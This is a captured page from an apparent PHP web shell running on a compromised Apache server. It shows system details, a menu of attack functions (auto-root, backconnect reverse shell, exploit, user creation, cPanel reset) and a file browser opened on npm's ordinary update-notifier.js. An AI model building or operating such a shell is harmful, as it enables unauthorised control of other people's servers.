Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.230.86
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
lib /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
completion
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
ansi-trim.js
173
B
-rw-r--r--
audit-error.js
1.02
KB
-rw-r--r--
auth.js
2.8
KB
-rw-r--r--
cmd-list.js
2.16
KB
-rw-r--r--
completion.fish
1.56
KB
-rw-r--r--
completion.sh
1.85
KB
-rwxr-xr-x
did-you-mean.js
1.46
KB
-rw-r--r--
display.js
3.43
KB
-rw-r--r--
error-message.js
13.53
KB
-rw-r--r--
exit-handler.js
6.78
KB
-rw-r--r--
explain-dep.js
3.5
KB
-rw-r--r--
explain-eresolve.js
2.55
KB
-rw-r--r--
format-bytes.js
629
B
-rw-r--r--
format-search-stream.js
3.93
KB
-rw-r--r--
get-identity.js
802
B
-rw-r--r--
is-windows.js
233
B
-rw-r--r--
log-file.js
7.04
KB
-rw-r--r--
log-shim.js
1.68
KB
-rw-r--r--
npm-usage.js
2.04
KB
-rw-r--r--
open-url-prompt.js
1.44
KB
-rw-r--r--
open-url.js
1.09
KB
-rw-r--r--
otplease.js
1.23
KB
-rw-r--r--
ping.js
252
B
-rw-r--r--
pulse-till-done.js
412
B
-rw-r--r--
queryable.js
9.56
KB
-rw-r--r--
read-user-info.js
2
KB
-rw-r--r--
reify-finish.js
876
B
-rw-r--r--
reify-output.js
4.97
KB
-rw-r--r--
replace-info.js
807
B
-rw-r--r--
tar.js
3.9
KB
-rw-r--r--
timers.js
2.73
KB
-rw-r--r--
update-notifier.js
4.1
KB
-rw-r--r--
validate-lockfile.js
1023
B
-rw-r--r--
web-auth.js
558
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update-notifier.js
// print a banner telling the user to upgrade npm to latest // but not in CI, and not if we're doing that already. // Check daily for betas, and weekly otherwise. const ciInfo = require('ci-info') const semver = require('semver') const { stat, writeFile } = require('fs/promises') const { resolve } = require('path') // update check frequency const DAILY = 1000 * 60 * 60 * 24 const WEEKLY = DAILY * 7 // don't put it in the _cacache folder, just in npm's cache const lastCheckedFile = npm => resolve(npm.flatOptions.cache, '../_update-notifier-last-checked') // Actual check for updates. This is a separate function so that we only load // this if we are doing the actual update const updateCheck = async (npm, spec, version, current) => { const pacote = require('pacote') const mani = await pacote.manifest(`npm@${spec}`, { // always prefer latest, even if doing --tag=whatever on the cmd defaultTag: 'latest', ...npm.flatOptions, }).catch(() => null) // if pacote failed, give up if (!mani) { return null } const latest = mani.version // if the current version is *greater* than latest, we're on a 'next' // and should get the updates from that release train. // Note that this isn't another http request over the network, because // the packument will be cached by pacote from previous request. if (semver.gt(version, latest) && spec === 'latest') { return updateNotifier(npm, `^${version}`) } // if we already have something >= the desired spec, then we're done if (semver.gte(version, latest)) { return null } const useColor = npm.logColor const chalk = npm.logChalk // ok! notify the user about this update they should get. // The message is saved for printing at process exit so it will not get // lost in any other messages being printed as part of the command. const update = semver.parse(mani.version) const type = update.major !== current.major ? 'major' : update.minor !== current.minor ? 'minor' : update.patch !== current.patch ? 'patch' : 'prerelease' const typec = type === 'major' ? chalk.red(type) : type === 'minor' ? chalk.yellow(type) : chalk.green(type) const oldc = chalk.red(current) const latestc = chalk.green(latest) const changelog = `https://github.com/npm/cli/releases/tag/v${latest}` const changelogc = !useColor ? `<${changelog}>` : chalk.cyan(changelog) const cmd = `npm install -g npm@${latest}` const cmdc = !useColor ? `\`${cmd}\`` : chalk.green(cmd) const message = `\nNew ${typec} version of npm available! ` + `${oldc} -> ${latestc}\n` + `Changelog: ${changelogc}\n` + `Run ${cmdc} to update!\n` return message } const updateNotifier = async (npm, spec = 'latest') => { // if we're on a prerelease train, then updates are coming fast // check for a new one daily. otherwise, weekly. const { version } = npm const current = semver.parse(version) // if we're on a beta train, always get the next beta if (current.prerelease.length) { spec = `^${version}` } // while on a beta train, get updates daily const duration = spec !== 'latest' ? DAILY : WEEKLY const t = new Date(Date.now() - duration) // if we don't have a file, then definitely check it. const st = await stat(lastCheckedFile(npm)).catch(() => ({ mtime: t - 1 })) // if we've already checked within the specified duration, don't check again if (!(t > st.mtime)) { return null } return updateCheck(npm, spec, version, current) } // only update the notification timeout if we actually finished checking module.exports = async npm => { if ( // opted out !npm.config.get('update-notifier') // global npm update || (npm.flatOptions.global && ['install', 'update'].includes(npm.command) && npm.argv.some(arg => /^npm(@|$)/.test(arg))) // CI || ciInfo.isCI ) { return null } const notification = await updateNotifier(npm) // intentional. do not await this. it's a best-effort update. if this // fails, it's ok. might be using /dev/null as the cache or something weird // like that. writeFile(lastCheckedFile(npm), '').catch(() => {}) return notification }
Close